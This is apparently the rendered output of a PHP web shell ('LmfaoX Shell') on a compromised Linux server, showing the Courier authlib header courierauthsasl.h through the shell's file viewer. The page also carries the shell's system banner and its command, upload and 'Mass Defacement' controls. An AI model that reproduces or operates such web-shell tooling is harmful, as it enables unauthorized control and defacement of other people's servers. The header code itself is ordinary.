ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:33.81 GB of 70.42 GB (48.01%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ include/ - drwxr-xr-x

Directory:
Viewing file:     courierauthsasl.h (3.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef    courierauthsasl_h
#define    courierauthsasl_h

/*
** Copyright 1998 - 2008 Double Precision, Inc.  See COPYING for
** distribution information.
*/

#include    "courier_auth_config.h"
#include    <sys/types.h>

#ifdef    __cplusplus
extern "C" {
#endif

static const char courierauthsasl_h_rcsid[]="$Id: courierauthsasl.h,v 1.3 2008/12/02 03:41:19 mrsam Exp $";

/*
    These family of functions are used to implement the SASL interface
    on top of authlib.  It is mainly used by the authentication user
    process to build the authentication request data for authmod()
    based upon the SASL challenge/response interaction.
*/

/*
**    auth_sasl searches for the right method, and calls the appropriate
**    sasl function.  authsasl received the following arguments:
**
**    initresponse -- initial response for the authentication request,
**    if provided.  If provided, the actual response MUST BE PROVIDED
**    in initresponse using base64 encoding!!!
**
**    sasl_func -- the callback function which is used to carry out the
**    SASL conversation.  The function receives a single argument, the
**    base64-encoded challenge.  The callback function must return
**    a malloced pointer to the base64-encoded response, or NULL to abort
**    SASL.
**
**    authsasl returns two values, provided via call by reference:
**    the authtype and authdata, suitable for direct arguments to
**    auth_generic().
*/

int auth_sasl(const char *,        /* Method */
          const char *,        /* Initial response - base64encoded */
          char *(*)(const char *, void *),
                    /* Callback conversation functions */
          void *,            /* Passthrough arg */
          char **,            /* Returned - AUTHTYPE */
          char **);            /* Returned - AUTHDATA */

/*
** auth_sasl_ex() is a version of auth_sasl that takes an extra parameter,
** externalauth. If method is "EXTERNAL" and externalauth is not a NULL pointer
** and does not point to an empty string, it is recognized as a SASL EXTERRNAL
** authentication.
*/

int auth_sasl_ex(const char *method,
         const char *initresponse,
         const char *externalauth, /* out-of-band authentified identity */
         char *(*callback_func)(const char *, void *),
         void *callback_arg,
         char **authtype_ptr,
         char **authdata_ptr);

    /* INTERNAL FUNCTIONS BELOW */

/*
** The authsasl_info is built dynamically by configure, it lists the supported
** SASL methods.  Each method is implemented by a function that's prototyped
** like this:
**
**  int authsasl_function(const char *method, const char *initresponse,
**      char *(*getresp)(const char *),
**
**    char **authtype,
**    char **authdata)
**
** Normally, there's no need to call the appropriate function directly, as
** authsasl() automatically searches this array, and finds one.
**
*/

struct authsasl_info {
    const char *sasl_method;    /* In uppercase */
    int (*sasl_func)(const char *method, const char *initresponse,
             char *(*getresp)(const char *, void *),
             void *,
             char **,
             char **);
    } ;

extern struct authsasl_info authsasl_list[];
/* Some convenience functions */

char *authsasl_tobase64(const char *, int);
int authsasl_frombase64(char *);

/* Return values from authsasl */

#define    AUTHSASL_OK    0
#define    AUTHSASL_ERROR    -1    /*
                ** System error, usually malloc failure,
                ** authsasl reports the error to stderr.
                */

#define    AUTHSASL_ABORTED -2    /*
                ** SASL exchange aborted. authsasl does NOT
                ** report any errors.
                */

#ifdef    __cplusplus
}
#endif

#endif
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1809 seconds